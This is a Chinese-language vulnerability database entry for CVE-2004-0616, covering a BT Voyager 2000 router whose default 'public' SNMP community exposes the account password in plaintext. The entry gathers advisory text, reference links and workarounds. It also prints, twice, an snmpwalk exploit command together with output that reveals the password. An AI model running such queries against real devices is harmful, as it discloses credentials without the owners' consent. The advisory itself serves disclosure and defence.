CVE-2004-0616
CVSS5.0
发布时间 :2004-12-06 00:00:00
修订时间 :2016-10-17 22:46:50
NMCOES    

[原文]The BT Voyager 2000 Wireless ADSL Router has a default public SNMP community name, which allows remote attackers to obtain sensitive information such as the password, which is stored in plaintext.


[CNNVD]BT Voyager 2000 Wireless ADSL Router SNMP共同体串信息泄露漏洞(CNNVD-200412-016)

        
        BT Voyager 2000 Wireless ADSL Router是无线ADSL路由器。
        BT Voyager 2000路由器存在默认共同体串,远程攻击者可以利用这个漏洞获得路由器敏感数据。
        此路由器默认包含'public' SNMP MIB共同体串,攻击者利用这个值可获得敏感信息。
        

- CVSS (基础分值)

CVSS分值: 5 [中等(MEDIUM)]
机密性影响: [--]
完整性影响: [--]
可用性影响: [--]
攻击复杂度: [--]
攻击向量: [--]
身份认证: [--]

- CPE (受影响的平台与产品)

产品及版本信息(CPE)暂不可用

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0616
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2004-0616
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200412-016
(官方数据源) CNNVD

- 其它链接及资源

http://archives.neohapsis.com/archives/fulldisclosure/2004-06/0710.html
(VENDOR_ADVISORY)  FULLDISC  20040622 Wireless Modem (BT Voyager 2000 Wireless ADSL Router cleartext password)
http://marc.info/?l=bugtraq&m=108794963119034&w=2
(UNKNOWN)  BUGTRAQ  20040622 Wireless Modem (BT Voyager 2000 Wireless ADSL Router cleartext password)
http://www.securityfocus.com/bid/10589
(VENDOR_ADVISORY)  BID  10589
http://xforce.iss.net/xforce/xfdb/16472
(VENDOR_ADVISORY)  XF  bt-voyager-password-plaintext(16472)

- 漏洞信息

BT Voyager 2000 Wireless ADSL Router SNMP共同体串信息泄露漏洞
中危 设计错误
2004-12-06 00:00:00 2005-10-20 00:00:00
远程  
        
        BT Voyager 2000 Wireless ADSL Router是无线ADSL路由器。
        BT Voyager 2000路由器存在默认共同体串,远程攻击者可以利用这个漏洞获得路由器敏感数据。
        此路由器默认包含'public' SNMP MIB共同体串,攻击者利用这个值可获得敏感信息。
        

- 公告与补丁

        厂商补丁:
        BT
        --
        目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户及时联系厂商以获取最新版本。

- 漏洞信息 (24230)

BT Voyager 2000 Wireless ADSL Router SNMP Community String Information Disclosure Vulnerability (EDBID:24230)
hardware remote
2004-06-22 Verified
0 Konstantin V. Gavrilenko
N/A [点击下载]
source: http://www.securityfocus.com/bid/10589/info

BT Voyager 2000 Wireless ADSL Router is reported prone to a sensitive information disclosure vulnerability.

It is reported that 'public' SNMP MIB community strings which, are world readable by default contain sensitive information pertaining to the internal protected network.

Data collected by exploiting this vulnerability may be used in further attacks against the victim network. 

root@abyrvalg:~# snmpwalk -v 1 -c public 192.168.1.1
SNMPv2-MIB::sysDescr.0 = STRING: BT Voyager 2000 Wireless ADSL Router
SNMPv2-MIB::sysObjectID.0 = OID: SNMPv2-SMI::enterprises.2535.111.6
SNMPv2-MIB::sysUpTime.0 = Timeticks: (260430184) 30 days, 1:02:01.84
[snip]
SNMPv2-SMI::transmission.23.2.3.1.5.5.1 = STRING:
"name.surname@btbroadband.com"
SNMPv2-SMI::transmission.23.2.3.1.5.6.1 = ""
SNMPv2-SMI::transmission.23.2.3.1.5.7.1 = ""
SNMPv2-SMI::transmission.23.2.3.1.5.8.1 = ""
SNMPv2-SMI::transmission.23.2.3.1.5.9.1 = ""
SNMPv2-SMI::transmission.23.2.3.1.5.10.1 = ""
SNMPv2-SMI::transmission.23.2.3.1.5.11.1 = ""
SNMPv2-SMI::transmission.23.2.3.1.5.12.1 = ""
SNMPv2-SMI::transmission.23.2.3.1.6.0.1 = ""
SNMPv2-SMI::transmission.23.2.3.1.6.0.2 = ""
SNMPv2-SMI::transmission.23.2.3.1.6.0.3 = ""
SNMPv2-SMI::transmission.23.2.3.1.6.0.4 = ""
SNMPv2-SMI::transmission.23.2.3.1.6.0.5 = ""
SNMPv2-SMI::transmission.23.2.3.1.6.0.6 = ""
SNMPv2-SMI::transmission.23.2.3.1.6.0.7 = ""
SNMPv2-SMI::transmission.23.2.3.1.6.0.8 = ""
SNMPv2-SMI::transmission.23.2.3.1.6.5.1 = STRING: "password"
[snip] 		

- 漏洞信息

7248
BT Voyager 2000 Router Cleartext Password SNMP Disclosure
Remote / Network Access Cryptographic, Information Disclosure
Loss of Confidentiality
Exploit Public

- 漏洞描述

BT Voyager 2000 Wireless ADSL Router contains a flaw that may lead to an unauthorized information disclosure.  The issue is triggered when a remote attacker grabs the SNMP strings from the router using a default public/private community name, which will disclose the account password in plaintext resulting in a loss of confidentiality.

- 时间线

2004-06-24 Unknow
2004-06-22 Unknow

- 解决方案

Currently, there are no known upgrades or patches to correct this issue. It is possible to correct the flaw by implementing the following workaround(s): - Disallow anonymous access to the wireless router - Change default SNMP community names - Disable SNMP support

- 相关参考

- 漏洞作者

- 漏洞信息

BT Voyager 2000 Wireless ADSL Router SNMP Community String Information Disclosure Vulnerability
Design Error 10589
Yes No
2004-06-22 12:00:00 2009-07-12 05:16:00
Discovery of this vulnerability is credited to "Konstantin V. Gavrilenko" <mlists@arhont.com>.

- 受影响的程序版本

BT Voyager 2000 Wireless ADSL Router

- 漏洞讨论

BT Voyager 2000 Wireless ADSL Router is reported prone to a sensitive information disclosure vulnerability.

It is reported that 'public' SNMP MIB community strings which, are world readable by default contain sensitive information pertaining to the internal protected network.

Data collected by exploiting this vulnerability may be used in further attacks against the victim network.

- 漏洞利用

The following example is available:

root@abyrvalg:~# snmpwalk -v 1 -c public 192.168.1.1
SNMPv2-MIB::sysDescr.0 = STRING: BT Voyager 2000 Wireless ADSL Router
SNMPv2-MIB::sysObjectID.0 = OID: SNMPv2-SMI::enterprises.2535.111.6
SNMPv2-MIB::sysUpTime.0 = Timeticks: (260430184) 30 days, 1:02:01.84
[snip]
SNMPv2-SMI::transmission.23.2.3.1.5.5.1 = STRING:
"name.surname@btbroadband.com"
SNMPv2-SMI::transmission.23.2.3.1.5.6.1 = ""
SNMPv2-SMI::transmission.23.2.3.1.5.7.1 = ""
SNMPv2-SMI::transmission.23.2.3.1.5.8.1 = ""
SNMPv2-SMI::transmission.23.2.3.1.5.9.1 = ""
SNMPv2-SMI::transmission.23.2.3.1.5.10.1 = ""
SNMPv2-SMI::transmission.23.2.3.1.5.11.1 = ""
SNMPv2-SMI::transmission.23.2.3.1.5.12.1 = ""
SNMPv2-SMI::transmission.23.2.3.1.6.0.1 = ""
SNMPv2-SMI::transmission.23.2.3.1.6.0.2 = ""
SNMPv2-SMI::transmission.23.2.3.1.6.0.3 = ""
SNMPv2-SMI::transmission.23.2.3.1.6.0.4 = ""
SNMPv2-SMI::transmission.23.2.3.1.6.0.5 = ""
SNMPv2-SMI::transmission.23.2.3.1.6.0.6 = ""
SNMPv2-SMI::transmission.23.2.3.1.6.0.7 = ""
SNMPv2-SMI::transmission.23.2.3.1.6.0.8 = ""
SNMPv2-SMI::transmission.23.2.3.1.6.5.1 = STRING: "password"
[snip]

- 解决方案

Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: vuldb@securityfocus.com <mailto:vuldb@securityfocus.com>.

- 相关参考

 

 

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